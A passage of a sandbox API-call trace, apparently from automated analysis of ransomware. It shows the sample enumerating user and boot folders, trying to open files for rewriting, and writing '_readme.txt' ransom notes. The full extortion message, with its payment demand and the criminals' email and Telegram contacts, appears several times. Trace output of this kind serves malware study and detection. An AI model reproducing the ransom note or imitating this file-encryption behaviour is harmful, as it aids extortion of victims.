(HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.811] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.811] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.811] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.811] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.812] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.812] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0124.812] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.812] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.812] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.812] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.812] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.812] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.812] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.812] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.812] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.812] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.812] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.812] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.812] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.812] PathFindFileNameW (pszPath="") returned="" [0124.812] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.812] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.813] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.813] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.813] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.813] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e9368 [0124.813] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076ee0 [0124.813] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.813] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.813] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.813] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x97c4c3d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x97c4c3d0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0124.813] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0124.813] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.813] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042268 [0124.813] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0124.813] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.813] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038078 [0124.813] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038158 [0124.813] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0124.813] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.813] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038078 [0124.813] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038120 [0124.814] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0124.814] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.814] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038078 [0124.814] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0124.814] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.814] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.814] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.814] PathFindExtensionW (pszPath="C:\\Users\\desktop.ini") returned=".ini" [0124.814] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0124.814] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.814] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.814] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0124.814] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.814] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.814] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.814] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.814] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.814] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.814] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.814] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.814] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.814] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.814] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0124.814] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.814] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.815] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.815] PathFindFileNameW (pszPath="") returned="" [0124.815] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.815] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.815] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.815] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.815] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.815] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e9368 [0124.815] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.815] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.815] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0124.815] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.815] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0124.815] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.815] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.816] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.816] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.816] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.816] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.816] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.816] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.816] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.816] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.816] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.816] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.816] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.816] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.816] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.816] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.816] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned=".mui" [0124.816] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.816] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.816] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.816] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.817] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.817] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.817] RtlAllocateHeap 